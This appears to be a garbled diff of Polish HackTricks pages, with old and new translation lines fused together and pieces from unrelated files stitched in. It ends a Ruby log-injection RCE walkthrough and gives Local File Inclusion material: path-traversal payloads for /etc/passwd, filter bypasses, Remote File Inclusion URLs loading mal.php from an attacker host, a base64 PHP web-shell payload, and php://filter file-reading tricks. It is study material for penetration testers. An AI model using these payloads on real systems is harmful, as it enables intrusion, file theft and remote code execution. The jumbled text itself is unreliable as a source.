I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### Przemycanie pojedynczego ciągu, który jednocześnie loguje kod i rozwiązuje się do ścieżki loga
Chcemy pojedynczego ciągu kontrolowanego przez atakującego, który:
- gdy zostanie zalogowany w surowej postaci, zawiera nasz Ruby payload, oraz
- po przejściu przez `Pathname.new(<input>).cleanpath` rozwiązuje się do `../logs/error.log`, więc następne `load` wykona właśnie zatruty plik logu.
`Pathname#cleanpath` ignoruje schemes i redukuje traversal components, więc poniższe działa:
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- Znak `#` przed `://` powoduje, że Ruby ignoruje końcówkę podczas wykonywania logu, podczas gdy `cleanpath` nadal redukuje sufiks do `../logs/error.log`.
- Prowadzący znak nowej linii powoduje przerwanie linii INFO; `]` zamyka wiszący nawias; `][0]=1` spełnia wymagania parsera.
### End-to-end exploitation
1. Wyślij następujące jako nazwę skryptu kopii zapasowej (jeśli trzeba, zakoduj pierwszy znak nowej linii jako `%0A`):
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. Aplikacja zapisuje twój surowy ciąg do `logs/error.log`.
3. Aplikacja oblicza `cleanpath`, który rozwiązuje się do `../logs/error.log` i wywołuje `load` na nim.
4. Ruby wykonuje kod, który wstrzyknięto do logu.
Aby wykonać eksfiltrację pliku w środowisku typu CTF:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (pierwszy znak to nowa linia):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## Źródła
- Ogłoszenie bezpieczeństwa Rails: CVE-2025-24293 Active Storage unsafe transformation methods (naprawione w 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Biuletyn GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -15,9 +15,9 @@ msf> auxiliary/scanner/vmware/vmware_http_login
``` ```
Jeśli znajdziesz prawidłowe poświadczenia, możesz użyć dodatkowych metasploit scanner modules, aby uzyskać informacje. Jeśli znajdziesz prawidłowe poświadczenia, możesz użyć dodatkowych metasploit scanner modules, aby uzyskać informacje.
### Zobacz także ### Zobacz też
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): Linux LPE przez VMware Tools service discovery (CWE-426 / CVE-2025-41244):
{{#ref}} {{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

View File

@ -4,12 +4,12 @@
## File Inclusion ## File Inclusion
**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\ **Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (najlepiej: możesz napisać code i serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\
**Local File Inclusion (LFI):** Serwer ładuje lokalny plik. **Local File Inclusion (LFI):** Serwer ładuje lokalny plik.
Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który serwer ma załadować. Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który zostanie załadowany przez serwer.
Podatne **PHP functions**: require, require_once, include, include_once Funkcje **PHP** podatne na tę lukę: require, require_once, include, include_once
Przydatne narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Przydatne narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -19,31 +19,31 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
``` ```
### **Linux** ### **Linux**
**Łącząc kilka list LFI dla *nix i dodając więcej ścieżek stworzyłem tę:** **Łącząc kilka list *nix LFI i dodając więcej ścieżek, stworzyłem tę:**
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}} {{#endref}}
Spróbuj także zamienić `/` na `\`\ Spróbuj także zmienić `/` na `\`\
Spróbuj także dodać `../../../../../` Spróbuj także dodać `../../../../../`
Lista wykorzystująca kilka technik do znalezienia pliku /etc/password (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) Lista wykorzystująca kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows** ### **Windows**
Scalanie różnych wordlists: Połączenie różnych wordlists:
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}} {{#endref}}
Spróbuj także zamienić `/` na `\`\ Spróbuj także zmienić `/` na `\`\
Spróbuj także usunąć `C:/` i dodać `../../../../../` Spróbuj także usunąć `C:/` i dodać `../../../../../`
Lista wykorzystująca kilka technik do znalezienia pliku /boot.ini (by sprawdzić, czy luka istnieje) jest dostępna [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) Lista wykorzystująca kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X** ### **OS X**
@ -51,11 +51,11 @@ Sprawdź listę LFI dla linux.
## Podstawowe LFI i obejścia ## Podstawowe LFI i obejścia
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
``` ```
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### traversal sequences usuwane nierekurencyjnie ### traversal sequences usunięte nierekurencyjnie
```python ```python
http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **Null byte (%00)** ### **Null byte (%00)**
Ominięcie dopisywania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET['param']."php") Bypass dodawania dodatkowych znaków na końcu przekazanego ciągu (bypass of: $\_GET\['param']."php")
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
To **zostało naprawione w PHP 5.4** To zostało **rozwiązane od PHP 5.4**
### **Kodowanie** ### **Kodowanie**
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Eksploracja katalogów systemu plików na serwerze ### Eksploracja katalogów systemu plików na serwerze
System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten polega na określeniu głębokości katalogu oraz sprawdzaniu istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: System plików serwera można przeszukiwać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu oraz sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku `/etc/passwd` (dotyczy serwerów na systemie Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość trzy: 1. **Ustal głębokość katalogu:** Określ głębokość bieżącego katalogu przez pomyślne pobranie pliku `/etc/passwd` (dotyczy serwerów opartych na Linux). Przykładowy URL może wyglądać następująco, wskazując głębokość równą trzem:
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **Sondowanie folderów:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: 2. **Sprawdź foldery:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
```bash ```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: 3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje:
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. - **Błąd / Brak wyjścia:** Folder `private` najprawdopodobniej nie istnieje w określonej lokalizacji.
- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`. - **Zawartość `/etc/passwd`:** Obecność folderu `private` zostaje potwierdzona.
4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). 4. **Rekurencyjne przeszukiwanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby przeszukać katalogi w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog ma głębokość 3), użyj: Do eksplorowania katalogów w innych lokalizacjach systemu plików dostosuj odpowiednio payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Path Truncation Technique** ### **Path Truncation Technique**
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file. Path truncation to metoda używana do manipulowania ścieżkami plików w aplikacjach webowych. Często służy do uzyskania dostępu do plików objętych ograniczeniami poprzez obejście pewnych zabezpieczeń, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po modyfikacji przez mechanizm zabezpieczający wciąż wskazuje na pożądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na naturę systemu plików. Na przykład: W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na sposób działania systemu plików. Na przykład:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` traktowane jako ta sama ścieżka. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` są wszystkie traktowane jako ta sama ścieżka.
- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (co daje `passwd/`) nie zmienia docelowego pliku. - Jeśli ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia pliku docelowego.
- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego jest uzyskiwany dostęp. - Analogicznie, jeśli do ścieżki dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni dostępu do pliku.
Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do `/etc/passwd` częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników): Poniższe przykłady pokazują, jak wykorzystać path truncation, aby uzyskać dostęp do `/etc/passwd`, częstego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników):
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
``` ```
W tych scenariuszach liczba wymaganych traversals może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera. W tych scenariuszach liczba wymaganych sekwencji ../ może wynosić około 2027, ale wartość ta może się różnić w zależności od konfiguracji serwera.
- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do poruszania się po systemie plików, skutecznie ignorując przez serwer dołączane ciągi. - **Using Dot Segments and Additional Characters**: Sekwencje (`../`) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji w systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków.
- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. - **Determining the Required Number of Traversals**: Metodą prób i błędów można znaleźć dokładną liczbę sekwencji `../` potrzebną, by przejść do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, a pożądana ścieżka (`/etc/passwd`) pozostanie nienaruszona.
- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Ta technika jest używana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek po stronie serwera. - **Starting with a Fake Directory**: Częstą praktyką jest zaczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta uży jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek na serwerze.
Podczas stosowania path truncation techniques kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a często konieczne są testy, aby znaleźć najbardziej efektywną metodę. Stosując techniki obcinania ścieżek, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często konieczne, aby znaleźć najbardziej skuteczną metodę.
**Ta podatność została naprawiona w PHP 5.3.** **This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks** ### **Filter bypass tricks**
``` ```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być ustawione na **On**, aby to działało, i w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE: W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, żeby to działało, i w takim przypadku możesz dołączyć plik PHP z serwera i uzyskać RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [zgodnie z tym wpisem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE: Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron, [według tego posta](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!TIP] > [!TIP]
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował łańcucha kończącego się na `.txt`, więc łańcuch kończy się tym, a po dekodowaniu b64 ta część zwróci jedynie śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany). > W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się nim, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w związku z tym wykonany).
Inny przykład **nieużywający protokołu `php://`** to: Inny przykład **nie używający protokołu `php://`** to:
``` ```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
``` ```
## Element root w Pythonie ## Python — element główny
W Pythonie, w kodzie takim jak ten: W Pythonie, w kodzie takim jak ten:
```python ```python
# file_name is controlled by a user # file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", file_name)
``` ```
Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**: Jeśli użytkownik poda **ścieżkę bezwzględną** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**:
```python ```python
os.path.join(os.getcwd(), "public", "/etc/passwd") os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd' '/etc/passwd'
``` ```
To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Jeśli składnik jest ścieżką bezwzględną, wszystkie poprzednie składniki są odrzucane i łączenie kontynuuje się od składnika będącego ścieżką bezwzględną. > Jeżeli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane, a łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną.
## Java Listowanie katalogów ## Listowanie katalogów w Java
Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zostanie zwrócone **listowanie katalogu**. To nie będzie miało miejsca w innych językach (o ile wiem). Wygląda na to, że jeśli masz Path Traversal w Java i **ask for a directory** zamiast file, to zostanie zwrócony **listing of the directory is returned**. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).
## Top 25 parametrów ## Top 25 parametrów
Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -215,26 +215,26 @@ Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI
### php://filter ### php://filter
PHP filters allow perform basic **operacje modyfikacji na danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów: Filtry PHP pozwalają wykonać podstawowe **operacje modyfikujące dane** przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
- `string.toupper` - `string.toupper`
- `string.tolower` - `string.tolower`
- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">") - `string.strip_tags`: Usuwa tagi z danych (wszystko między znakami "<" i ">")
- Zauważ, że ten filtr został usunięty z nowoczesnych wersji PHP - Zauważ, że ten filtr zniknął w nowszych wersjach PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode` - `convert.base64-encode`
- `convert.base64-decode` - `convert.base64-decode`
- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich kodowań** obsługiwanych uruchom w konsoli: `iconv -l` - `convert.iconv.*` : Transformuje do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich kodowań** obsługiwanych, uruchom w konsoli: `iconv -l`
> [!WARNING] > [!WARNING]
> Nadużywając filtru `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetworzyła dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). > Nadużywając filtra konwersji `convert.iconv.*`, można **wygenerować dowolny tekst**, co może być użyteczne do zapisania dowolnego tekstu lub sprawienia, że funkcja taka jak include przetworzy dowolny tekst. Po więcej informacji zobacz [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje zawartość (przydatne przy exfiltrating dużej ilości informacji) - `zlib.deflate`: Kompresuje zawartość (przydatne przy eksfiltrowaniu dużej ilości informacji)
- `zlib.inflate`: Dekompresuje dane - `zlib.inflate`: Dekompresuje dane
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Przestarzałe - `mcrypt.*` : Przestarzałe
@ -242,7 +242,7 @@ PHP filters allow perform basic **operacje modyfikacji na danych** zanim zostan
- Other Filters - Other Filters
- Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: - Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
- `consumed` - `consumed`
- `dechunk`: odwraca kodowanie chunked HTTP - `dechunk`: odwraca HTTP chunked encoding
- `convert.*` - `convert.*`
```php ```php
# String Filters # String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
``` ```
> [!WARNING] > [!WARNING]
> Część "php://filter" jest niewrażliwa na wielkość liter > Część "php://filter" nie rozróżnia wielkości liter
### Using php filters as oracle to read arbitrary files ### Użycie php filters jako oracle do odczytu dowolnych plików
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta bazuje na **boolean exfiltration of the file (char by char) using php filters** jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php zgłosił wyjątek. [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) proponuje technikę odczytu lokalnego pliku bez zwracania jego zawartości przez serwer. Technika opiera się na **boolean exfiltration of the file (char by char) using php filters as oracle**. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, by php rzucił wyjątek.
W oryginalnym artykule znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie: W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie:
- Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na swoim miejscu i sprawić, że rozmiar ciągu będzie rósł wykładniczo. - Użyj kodeka **`UCS-4LE`** aby umieścić wiodący znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rosnąć wykładniczo.
- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta poprawnie**, php wywoła **błąd**. - To posłuży do wygenerowania **tekstu tak dużego, że gdy wstępna litera zostanie odgadnięta poprawnie** php wywoła **błąd**.
- Filtr **dechunk** **usunie wszystko jeśli pierwszy znak nie jest hex**, więc możemy stwierdzić, czy pierwszy znak jest hex. - Filtr **dechunk** usunie wszystko **if the first char is not an hexadecimal**, więc możemy wiedzieć czy pierwszy char jest hex.
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco wiele transformacji, aby przestała być znakiem heksadecymalnym. Ponieważ jeśli jest hex, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php. - To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem hex. Ponieważ jeśli jest hex, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php.
- Kodek **convert.iconv.UNICODE.CP930** zmienia każdą literę na następną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy a->b->c->d->e->f->g, litera przestaje być znakiem heksadecymalnym, więc dechunk jej nie usunie, a błąd php zostanie wywołany, ponieważ mnoży się z początkową bombą. - Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to `a`, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, litera przestaje być znakiem hex, więc dechunk jej nie usuwa, a błąd php zostaje wywołany, bo mnoży się z początkową bombą.
- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte, aby przesunąć inne litery do zakresu hex). - Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte do przesunięcia innych liter do zakresu hex).
- Gdy początkowy znak jest cyfrą, trzeba zakodować go base64 i leak pierwsze 2 litery, aby leak tę liczbę. - Gdy pierwszy char jest cyfrą, trzeba zakodować go w base64 i leak the 2 first letters to leak the number.
- Końcowym problemem jest ustalenie **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność pamięci, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery z tekstu. - The final problem is to see **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność pamięci takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery tekstu.
